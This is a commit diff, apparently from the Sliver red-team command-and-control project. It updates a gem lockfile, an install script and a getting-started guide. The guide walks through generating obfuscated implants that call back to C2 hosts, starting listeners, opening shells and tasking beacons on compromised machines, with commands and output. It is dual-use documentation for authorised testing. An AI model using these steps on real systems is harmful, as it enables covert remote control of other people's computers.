jekyll-theme-time-machine (= 0.2.0)
|
||||
jekyll-titles-from-headings (= 0.5.3)
|
||||
jemoji (= 0.12.0)
|
||||
kramdown (= 2.3.1)
|
||||
@@ -87,19 +93,19 @@ GEM
|
||||
liquid (= 4.0.3)
|
||||
mercenary (~> 0.3)
|
||||
minima (= 2.5.1)
|
||||
nokogiri (>= 1.10.4, < 2.0)
|
||||
nokogiri (>= 1.12.5, < 2.0)
|
||||
rouge (= 3.26.0)
|
||||
terminal-table (~> 1.4)
|
||||
github-pages-health-check (1.17.2)
|
||||
github-pages-health-check (1.17.9)
|
||||
addressable (~> 2.3)
|
||||
dnsruby (~> 1.60)
|
||||
octokit (~> 4.0)
|
||||
public_suffix (>= 2.0.2, < 5.0)
|
||||
public_suffix (>= 3.0, < 5.0)
|
||||
typhoeus (~> 1.3)
|
||||
html-pipeline (2.14.0)
|
||||
activesupport (>= 2)
|
||||
nokogiri (>= 1.4)
|
||||
http_parser.rb (0.6.0)
|
||||
http_parser.rb (0.8.0)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jekyll (3.9.0)
|
||||
@@ -120,12 +126,12 @@ GEM
|
||||
jekyll-coffeescript (1.1.1)
|
||||
coffee-script (~> 2.2)
|
||||
coffee-script-source (~> 1.11.1)
|
||||
jekyll-commonmark (1.3.1)
|
||||
commonmarker (~> 0.14)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-commonmark-ghpages (0.1.6)
|
||||
commonmarker (~> 0.17.6)
|
||||
jekyll-commonmark (~> 1.2)
|
||||
jekyll-commonmark (1.4.0)
|
||||
commonmarker (~> 0.22)
|
||||
jekyll-commonmark-ghpages (0.2.0)
|
||||
commonmarker (~> 0.23.4)
|
||||
jekyll (~> 3.9.0)
|
||||
jekyll-commonmark (~> 1.4.0)
|
||||
rouge (>= 2.0, < 4.0)
|
||||
jekyll-default-layout (0.1.4)
|
||||
jekyll (~> 3.0)
|
||||
@@ -136,6 +142,8 @@ GEM
|
||||
jekyll-github-metadata (2.13.0)
|
||||
jekyll (>= 3.4, < 5.0)
|
||||
octokit (~> 4.0, != 4.4.0)
|
||||
jekyll-include-cache (0.2.1)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-mentions (1.6.0)
|
||||
html-pipeline (~> 2.3)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
@@ -155,50 +163,50 @@ GEM
|
||||
rubyzip (>= 1.3.0, < 3.0)
|
||||
jekyll-sass-converter (1.5.2)
|
||||
sass (~> 3.4)
|
||||
jekyll-seo-tag (2.7.1)
|
||||
jekyll-seo-tag (2.8.0)
|
||||
jekyll (>= 3.8, < 5.0)
|
||||
jekyll-sitemap (1.4.0)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-swiss (1.0.0)
|
||||
jekyll-theme-architect (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-cayman (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-dinky (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-hacker (0.1.2)
|
||||
jekyll-theme-architect (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-leap-day (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-cayman (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-merlot (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-dinky (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-midnight (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-hacker (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-minimal (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-leap-day (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-modernist (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-merlot (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-primer (0.5.4)
|
||||
jekyll-theme-midnight (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-minimal (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-modernist (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-primer (0.6.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-github-metadata (~> 2.9)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-slate (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-slate (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-tactile (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-tactile (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-time-machine (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-time-machine (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-titles-from-headings (0.5.3)
|
||||
jekyll (>= 3.3, < 5.0)
|
||||
@@ -213,35 +221,33 @@ GEM
|
||||
kramdown-parser-gfm (1.1.0)
|
||||
kramdown (~> 2.0)
|
||||
liquid (4.0.3)
|
||||
listen (3.5.1)
|
||||
listen (3.7.1)
|
||||
rb-fsevent (~> 0.10, >= 0.10.3)
|
||||
rb-inotify (~> 0.9, >= 0.9.10)
|
||||
mercenary (0.3.6)
|
||||
mini_portile2 (2.6.1)
|
||||
mini_portile2 (2.8.0)
|
||||
minima (2.5.1)
|
||||
jekyll (>= 3.5, < 5.0)
|
||||
jekyll-feed (~> 0.9)
|
||||
jekyll-seo-tag (~> 2.1)
|
||||
minitest (5.14.4)
|
||||
minitest (5.15.0)
|
||||
multipart-post (2.1.1)
|
||||
nokogiri (1.12.5)
|
||||
mini_portile2 (~> 2.6.1)
|
||||
nokogiri (1.13.3)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
octokit (4.21.0)
|
||||
octokit (4.22.0)
|
||||
faraday (>= 0.9)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
pathutil (0.16.2)
|
||||
forwardable-extended (~> 2.6)
|
||||
public_suffix (4.0.6)
|
||||
racc (1.5.2)
|
||||
rb-fsevent (0.11.0)
|
||||
racc (1.6.0)
|
||||
rb-fsevent (0.11.1)
|
||||
rb-inotify (0.10.1)
|
||||
ffi (~> 1.0)
|
||||
rexml (3.2.5)
|
||||
rouge (3.26.0)
|
||||
ruby-enum (0.9.0)
|
||||
i18n
|
||||
ruby2_keywords (0.0.4)
|
||||
ruby2_keywords (0.0.5)
|
||||
rubyzip (2.3.2)
|
||||
safe_yaml (1.0.5)
|
||||
sass (3.7.4)
|
||||
@@ -261,14 +267,14 @@ GEM
|
||||
ethon (>= 0.9.0)
|
||||
tzinfo (1.2.9)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2021.1)
|
||||
tzinfo-data (1.2021.5)
|
||||
tzinfo (>= 1.0.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.7.7)
|
||||
unicode-display_width (1.7.0)
|
||||
unf_ext (0.0.8)
|
||||
unicode-display_width (1.8.0)
|
||||
wdm (0.1.1)
|
||||
zeitwerk (2.4.2)
|
||||
zeitwerk (2.5.4)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
@@ -6,27 +6,28 @@ date: 2021-07-07 09:01:33 -0500
|
||||
categories: sliver
|
||||
---
|
||||
|
||||
# 1. Server Setup
|
||||
|
||||
The first thing you'll need to do is setup a Sliver server.
|
||||
|
||||
The server supports Linux, Windows, and MacOS however we recommend running the server on a Linux or MacOS host, as some features may be more difficult to get working on a Windows server. However, the Windows client should work just fine when accessing a Linux/MacOS server.
|
||||
|
||||
Download the latest [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. The first time you run the server it'll need to unpack some assets, which may take a minute or two, subsequent start ups should be faster.
|
||||
|
||||
__NOTE:__ Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable shellcode/staged payloads you need to install MinGW. To enable MSF integrations you'll need Metasploit installed.
|
||||
|
||||
The `Dockerfile` build of Sliver is mostly designed to run the unit tests but includes both MinGW and Metasploit. If you plan to run the server using Docker you'll need to forward the appropriate TCP ports (e.g. 80, 443, 31337) yourself.
|
||||
|
||||
|
||||
### MinGW Setup (Optional)
|
||||
__⚠️ NOTE:__ This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial.
|
||||
|
||||
## Server Setup
|
||||
|
||||
The first thing you'll need to do is setup a Sliver server, Sliver is designed for a one server deployment per-operation.
|
||||
|
||||
The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
|
||||
|
||||
Download the latest sever [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
|
||||
|
||||
__IMPORTANT:__ Sliver has two external dependancies for _optional_ features: MinGW and Metasploit. To enable DLL payloads you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
|
||||
|
||||
### MinGW Setup (Optional, Recommended)
|
||||
|
||||
In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
|
||||
|
||||
#### Linux
|
||||
#### Linux (Debian-based)
|
||||
|
||||
```
|
||||
apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
apt install mingw-w64
|
||||
```
|
||||
|
||||
#### MacOS
|
||||
@@ -35,39 +36,65 @@ apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
brew install mingw-w64
|
||||
```
|
||||
|
||||
__Note:__ On MacOS you'll likely have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
|
||||
__Note:__ On MacOS may have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
|
||||
|
||||
### Metasploit Setup (Optional)
|
||||
|
||||
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects version 5 or later.
|
||||
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 5+.
|
||||
|
||||
## Implants Beacon vs. Session
|
||||
|
||||
Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations. Such is the tradeoff for getting easy static compilation in Golang.
|
||||
|
||||
Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
|
||||
|
||||
Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.
|
||||
|
||||
Some commands such as `shell` and `portfwd` only work over interactive sessions.
|
||||
|
||||
## Generating Implants
|
||||
|
||||
__IMPORTANT:__ The first time you generate an implant the server needs to download some Go module code, so the server must have internet access. See [offline implant builds](https://github.com/BishopFox/sliver/wiki/Offline-Implant-Builds) if this is a problem for you. The modules are cached.
|
||||
|
||||
Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.
|
||||
|
||||
#### Session Mode
|
||||
|
||||
```
|
||||
sliver > generate --mtls example.com --save /Users/moloch/Desktop
|
||||
[server] sliver > generate --mtls example.com --save /Users/moloch/Desktop
|
||||
|
||||
[*] Generating new windows/amd64 Sliver binary
|
||||
[*] Build completed in 00:10:16
|
||||
[*] Build completed in 00:00:16
|
||||
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
|
||||
```
|
||||
|
||||
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. WARNING: Some commands/features may not work on "unsupported" platforms.
|
||||
#### Beacon Mode
|
||||
|
||||
```
|
||||
sliver > generate --mtls example.com --save /Users/moloch/Desktop --skip-symbols --os mac
|
||||
[server] sliver > generate beacon --mtls example.com --save /Users/moloch/Desktop
|
||||
|
||||
[*] Generating new windows/amd64 beacon implant binary (1m0s)
|
||||
[*] Symbol obfuscation is enabled
|
||||
[*] Build completed in 00:00:27
|
||||
[*] Implant saved to /Users/moloch/Desktop/FINE_SENTENCE.exe
|
||||
```
|
||||
|
||||
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
|
||||
|
||||
Some commands/features may not work on "unsupported" platforms.
|
||||
|
||||
```
|
||||
sliver > generate --mtls example.com --save /Users/moloch/Desktop --os mac
|
||||
|
||||
[*] Generating new darwin/amd64 Sliver binary
|
||||
[!] Symbol obfuscation is disabled
|
||||
[*] Build completed in 00:00:03
|
||||
[*] Build completed in 00:00:09
|
||||
[*] Sliver binary saved to: /Users/moloch/Desktop/PROPER_ANTHONY
|
||||
```
|
||||
|
||||
The server will also assign codenames to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these codenames will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `slivers` command:
|
||||
The server will also assign code names to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these code names will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `implants` command:
|
||||
|
||||
```
|
||||
sliver > slivers
|
||||
sliver > implants
|
||||
|
||||
Name OS/Arch Debug Format
|
||||
==== ======= ===== ======
|
||||
@@ -83,7 +110,7 @@ SICK_SPY darwin/amd64 false EXECUTABLE
|
||||
If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) comes after the command flags (e.g., `--save`):
|
||||
|
||||
```
|
||||
sliver > regenerate --save /Users/moloch/Desktop/ NEW_GRAPE
|
||||
sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
|
||||
|
||||
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
|
||||
```
|
||||
@@ -96,7 +123,7 @@ For addition details about each C2 please see:
|
||||
|
||||
## Getting Shells
|
||||
|
||||
Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a listener started with `https`). You can use the `jobs` command to view and manage listeners running in the background.
|
||||
Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a `https` listener). You can use the `jobs` command to view and manage listeners running in the background. Listeners support both sessions and beacons callbacks:
|
||||
|
||||
```
|
||||
sliver > mtls
|
||||
@@ -113,26 +140,101 @@ ID Name Protocol Port
|
||||
|
||||
In this example we're using Mutual TLS, the required certificates for setting up and securing this connection have already been generated in the background and the client certificate pair was embedded into the implant at compile-time. So to get a shell you just have to run the binary on the target.
|
||||
|
||||
### Interacting with Sessions
|
||||
|
||||
The `use` command will tab-complete session and beacon identifiers, but you can also type them out if you really want to (identifier prefixes are accepted). Additionally, running the `use` command with no arguments will enter an interactive menu to select from.
|
||||
|
||||
```
|
||||
[*] Session #1 PROPER_ANTHONY - 127.0.0.1:49929 (narvi.local) - darwin/amd64
|
||||
[*] Session 8ff2ce4c LONG_DRAMATURGE - [::1]:57154 (MacBook-Pro-6.local) - darwin/amd64 - Thu, 20 Jan 2022 15:45:10 CST
|
||||
|
||||
sliver > use 1
|
||||
sliver > use 8ff2ce4c
|
||||
|
||||
[*] Active sliver PROPER_ANTHONY (1)
|
||||
[*] Active session LONG_DRAMATURGE (8ff2ce4c-9c66-4cbc-b33c-2a56196536e6)
|
||||
|
||||
sliver (PROPER_ANTHONY) > ls
|
||||
sliver (LONG_DRAMATURGE) > ls
|
||||
|
||||
/Users/moloch/Desktop
|
||||
=====================
|
||||
.DS_Store 6.0 KiB
|
||||
.localized 0 B
|
||||
PROPER_ANTHONY 6.3 MiB
|
||||
LONG_DRAMATURGE 6.3 MiB
|
||||
```
|
||||
|
||||
If you're having problems getting callbacks please see our [troubleshooting guide](https://github.com/BishopFox/sliver/wiki/Troubleshooting#implant-troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
|
||||
|
||||
### Interacting with Beacons
|
||||
|
||||
Upon initial execution the beacon will register itself with the C2 server and will show up under `beacons`, each instance of a beacon process will get its own id and this id is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the `beacons watch` command. Remember to leverage tab complete for the uuid when using `use`:
|
||||
|
||||
```
|
||||
[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:40:55 CST
|
||||
|
||||
[server] sliver > beacons
|
||||
|
||||
ID Name Tasks Transport Remote Address Hostname Username Operating System Last Check-In Next Check-In
|
||||
========== ======================== ======= =========== ===================== ================= =============================== ================== ================ ===============
|
||||
8c465643 RELATIVE_ADVERTISEMENT 0/0 mtls 192.168.1.178:54701 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 49.385459s ago 37.614549s
|
||||
|
||||
[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb
|
||||
|
||||
[*] Active beacon RELATIVE_ADVERTISEMENT (8c465643-0e65-45f2-bb7e-acb3480de3cb)
|
||||
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) >
|
||||
```
|
||||
|
||||
You should see a blue prompt indicating that we're interacting with a beacon as apposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.
|
||||
|
||||
```
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) > ls
|
||||
|
||||
[*] Tasked beacon RELATIVE_ADVERTISEMENT (962978a6)
|
||||
|
||||
[+] RELATIVE_ADVERTISEMENT completed task 962978a6
|
||||
|
||||
C:\git
|
||||
======
|
||||
drwxrwxrwx a <dir> Wed Dec 22 15:34:56 -0600 2021
|
||||
...
|
||||
```
|
||||
|
||||
Tasks will execute in the order they were created (FIFO).
|
||||
|
||||
__⚠️ IMPORTANT:__ Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
|
||||
|
||||
You can view previous tasks executed by the active beacon using the `tasks` command:
|
||||
|
||||
```
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) > tasks
|
||||
|
||||
ID State Message Type Created Sent Completed
|
||||
========== =========== ============== =============================== =============================== ===============================
|
||||
90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST Sat, 22 Jan 2022 14:45:11 CST Sat, 22 Jan 2022 14:45:11 CST
|
||||
962978a6 completed Ls Sat, 22 Jan 2022 14:42:43 CST Sat, 22 Jan 2022 14:43:53 CST Sat, 22 Jan 2022 14:43:53 CST
|
||||
```
|
||||
|
||||
You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Note that in this case these task output is stored on the server, so operators in multiplayer mode can fetch output from tasks issued by other operators. However, operators will only see the automatic results from tasks that they executed. You can disable the automatic display of task results using the `settings` command.
|
||||
|
||||
#### Switching from Beacon Mode to Session Mode
|
||||
|
||||
You can use the `interactive` command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used:
|
||||
|
||||
```
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) > interactive
|
||||
|
||||
[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888
|
||||
[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899)
|
||||
|
||||
[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST
|
||||
```
|
||||
|
||||
__⚠️ IMPORTANT:__ You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.
|
||||
|
||||
When you're done using the interactive session use the `close` command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open.
|
||||
|
||||
|
||||
## Multiple Domains/Protocols
|
||||
|
||||
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
|
||||
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> WG -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
|
||||
|
||||
```
|
||||
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
|
||||
@@ -140,4 +242,13 @@ sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
|
||||
|
||||
Eventually we'll add a feature to manually specify the fallback protocols, or you can add this feature and send up a PR :).
|
||||
|
||||
## What Next?
|
||||
|
||||
Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
|
||||
|
||||
* [Armory](https://github.com/BishopFox/sliver/wiki/Armory)
|
||||
* [Stagers](https://github.com/BishopFox/sliver/wiki/Stagers)
|
||||
* [Port Forwarding](https://github.com/BishopFox/sliver/wiki/Port-Forwarding)
|
||||
* [Reverse SOCKS](https://github.com/BishopFox/sliver/wiki/Reverse-SOCKS)
|
||||
* [BOF/COFF Support](https://github.com/BishopFox/sliver/wiki/BOF-&-COFF-Support)
|
||||
|
||||
+11
-32
@@ -10,13 +10,13 @@ fi
|
||||
|
||||
if [ -n "$(command -v yum)" ]
|
||||
then
|
||||
yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
|
||||
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
|
||||
fi
|
||||
|
||||
if [ -n "$(command -v apt-get)" ]
|
||||
then
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
|
||||
zip unzip gpg curl build-essential \
|
||||
gpg curl build-essential \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
fi
|
||||
|
||||
@@ -32,12 +32,6 @@ then
|
||||
echo "awk could not be found"
|
||||
exit 1
|
||||
fi
|
||||
# Zip
|
||||
if ! command -v zip &> /dev/null
|
||||
then
|
||||
echo "zip could not be found"
|
||||
exit 1
|
||||
fi
|
||||
# GPG
|
||||
if ! command -v gpg &> /dev/null
|
||||
then
|
||||
@@ -106,49 +100,34 @@ EOF
|
||||
# Download and Unpack Sliver Server
|
||||
#
|
||||
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
|
||||
SLIVER_SERVER_ZIP='sliver-server_linux.zip'
|
||||
SLIVER_CLIENT_ZIP='sliver-client_linux.zip'
|
||||
SLIVER_SERVER='sliver-server'
|
||||
SLIVER_CLIENT='sliver-client'
|
||||
SLIVER_SERVER='sliver-server_linux'
|
||||
SLIVER_CLIENT='sliver-client_linux'
|
||||
|
||||
|
||||
for URL in $ARTIFACTS
|
||||
do
|
||||
if [[ "$URL" == *"$SLIVER_SERVER_ZIP"* ]]; then
|
||||
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
|
||||
echo "Downloading $URL"
|
||||
curl --silent -L $URL --output $(basename $URL)
|
||||
fi
|
||||
if [[ "$URL" == *"$SLIVER_CLIENT_ZIP"* ]]; then
|
||||
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
|
||||
echo "Downloading $URL"
|
||||
curl --silent -L $URL --output $(basename $URL)
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Verifying signatures ..."
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
|
||||
|
||||
if test -f "/root/$SLIVER_SERVER_ZIP"; then
|
||||
unzip -o /root/$SLIVER_SERVER_ZIP -d /root
|
||||
rm -f /root/$SLIVER_SERVER_ZIP
|
||||
else
|
||||
exit 2
|
||||
fi
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
|
||||
|
||||
if test -f "/root/$SLIVER_SERVER"; then
|
||||
chmod 755 /root/$SLIVER_SERVER
|
||||
/root/$SLIVER_SERVER unpack --force
|
||||
mv /root/$SLIVER_SERVER /root/sliver-server
|
||||
chmod 755 /root/sliver-server
|
||||
/root/sliver-server unpack --force
|
||||
else
|
||||
exit 3
|
||||
fi
|
||||
|
||||
if test -f "/root/$SLIVER_CLIENT_ZIP"; then
|
||||
unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
|
||||
rm -f /root/$SLIVER_CLIENT_ZIP
|
||||
else
|
||||
exit 2
|
||||
fi
|
||||
|
||||
if test -f "/root/$SLIVER_CLIENT"; then
|
||||
chmod 755 /root/$SLIVER_CLIENT
|
||||
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
|
||||
|
||||
+14
-16
@@ -16,12 +16,12 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.17.5"
|
||||
GARBLE_VER="1.17.5"
|
||||
COFF_LOADER_VER="1.0.7"
|
||||
GO_VER="1.18"
|
||||
GARBLE_VER="1.18.0"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
GO_ARCH_2="arm64"
|
||||
@@ -50,7 +50,7 @@ fi
|
||||
|
||||
REPO_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
|
||||
OUTPUT_DIR=$REPO_DIR/server/assets/fs
|
||||
CLIENT_OUTPUT_DIR=$REPO_DIR/client/assets/fs
|
||||
mkdir -p $OUTPUT_DIR
|
||||
WORK_DIR=`mktemp -d`
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
@@ -134,22 +134,20 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/$GO_ARCH_1/go.zip
|
||||
rm -rf ./go
|
||||
rm -f windows-go.zip go$GO_VER.windows-$GO_ARCH_1.zip
|
||||
|
||||
# --- Client ---
|
||||
mkdir -p $CLIENT_OUTPUT_DIR/extensions/coff-loader/windows
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Garble"
|
||||
echo "-----------------------------------------------------------------"
|
||||
curl -L --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
curl -L --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
|
||||
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
|
||||
